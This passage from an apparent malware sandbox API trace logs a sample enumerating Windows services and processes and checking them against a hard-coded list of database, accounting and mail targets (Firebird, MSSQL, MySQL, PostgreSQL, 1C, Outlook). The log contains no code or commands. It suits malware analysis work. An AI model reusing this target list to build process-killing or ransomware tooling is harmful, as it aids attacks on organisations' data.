(lpString="ProfSvc") returned 7 [0168.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.875] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.875] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.875] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.875] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.875] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.875] lstrlenW (lpString="RpcSs") returned 5 [0168.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.875] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.875] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.876] lstrlenW (lpString="SamSs") returned 5 [0168.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.876] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.876] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.876] lstrlenW (lpString="Schedule") returned 8 [0168.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.876] lstrlenW (lpString="SENS") returned 4 [0168.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.876] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.876] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.876] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.876] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.876] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.876] lstrlenW (lpString="Spooler") returned 7 [0168.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.876] lstrlenW (lpString="SysMain") returned 7 [0168.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.877] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.877] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.877] lstrlenW (lpString="Themes") returned 6 [0168.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.877] lstrlenW (lpString="TrkWks") returned 6 [0168.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0168.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0168.877] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0168.877] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0168.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0168.877] lstrlenW (lpString="UxSms") returned 5 [0168.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0168.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0168.877] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0168.877] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0168.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0168.877] lstrlenW (lpString="WdiServiceHost") returned 14 [0168.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0168.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0168.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0168.877] lstrlenW (lpString="WdiSystemHost") returned 13 [0168.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0168.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0168.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0168.878] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0168.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.878] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0168.878] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0168.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0168.878] lstrlenW (lpString="Winmgmt") returned 7 [0168.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0168.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0168.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0168.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0168.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0168.878] lstrlenW (lpString="WPDBusEnum") returned 10 [0168.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.878] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0168.878] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0168.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0168.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5de8c0 | out: hHeap=0x570000) returned 1 [0168.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0168.881] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.881] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.882] lstrlenW (lpString="System") returned 6 [0168.882] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0168.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0168.882] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0168.882] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0168.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0168.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0168.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0168.882] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.882] lstrlenW (lpString="smss.exe") returned 8 [0168.882] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0168.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0168.882] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0168.882] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0168.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0168.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0168.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0168.883] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.883] lstrlenW (lpString="csrss.exe") returned 9 [0168.883] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.883] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.883] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0168.883] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.883] lstrlenW (lpString="wininit.exe") returned 11 [0168.883] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0168.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0168.884] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0168.884] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0168.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0168.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0168.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0168.884] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.884] lstrlenW (lpString="csrss.exe") returned 9 [0168.884] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.884] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.884] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.884] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.885] lstrlenW (lpString="winlogon.exe") returned 12 [0168.885] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.885] lstrlenW (lpString="services.exe") returned 12 [0168.885] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.983] lstrlenW (lpString="lsass.exe") returned 9 [0168.983] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.983] lstrlenW (lpString="lsm.exe") returned 7 [0168.983] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.984] lstrlenW (lpString="svchost.exe") returned 11 [0168.984] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.984] lstrlenW (lpString="svchost.exe") returned 11 [0168.984] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.985] lstrlenW (lpString="svchost.exe") returned 11 [0168.985] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.985] lstrlenW (lpString="svchost.exe") returned 11 [0168.985] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.985] lstrlenW (lpString="svchost.exe") returned 11 [0168.986] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.986] lstrlenW (lpString="audiodg.exe") returned 11 [0168.986] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.986] lstrlenW (lpString="svchost.exe") returned 11 [0168.986] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.987] lstrlenW (lpString="explorer.exe") returned 12 [0168.987] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.987] lstrlenW (lpString="dwm.exe") returned 7 [0168.987] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.988] lstrlenW (lpString="svchost.exe") returned 11 [0168.988] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0168.988] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0168.988] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.989] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.989] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.989] lstrlenW (lpString="reader_sl.exe") returned 13 [0168.989] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.989] lstrlenW (lpString="svchost.exe") returned 11 [0168.989] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.990] lstrlenW (lpString="taskhost.exe") returned 12 [0168.990] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.990] lstrlenW (lpString="dllhost.exe") returned 11 [0168.990] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.991] lstrlenW (lpString="taskhost.exe") returned 12 [0168.991] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.991] lstrlenW (lpString="dllhost.exe") returned 11 [0168.991] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.992] lstrlenW (lpString="dllhost.exe") returned 11 [0168.992] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0168.992] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0168.992] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.992] lstrlenW (lpString="cmd.exe") returned 7 [0168.992] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.993] lstrlenW (lpString="conhost.exe") returned 11 [0168.993] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0168.993] CloseHandle (hObject=0x1ec) returned 1 [0168.993] Sleep (dwMilliseconds=0x1f4) [0169.708] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3de0 [0169.708] EnumServicesStatusExW (in: hSCManager=0x5e3de0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0) returned 0 [0169.709] GetLastError () returned 0xea [0169.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e4) returned 0x663530 [0169.709] EnumServicesStatusExW (in: hSCManager=0x5e3de0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x663530, cbBufSize=0x11e4, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x663530, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0) returned 1 [0169.710] CloseServiceHandle (hSCObject=0x5e3de0) returned 1 [0169.710] lstrlenW (lpString="Appinfo") returned 7 [0169.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.710] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.710] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.710] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.710] lstrlenW (lpString="AudioSrv") returned 8 [0169.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0169.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0169.710] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0169.710] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0169.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0169.711] lstrlenW (lpString="BFE") returned 3 [0169.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.711] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.711] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.711] lstrcmpiW (lpString1="sqlserveradhelper", 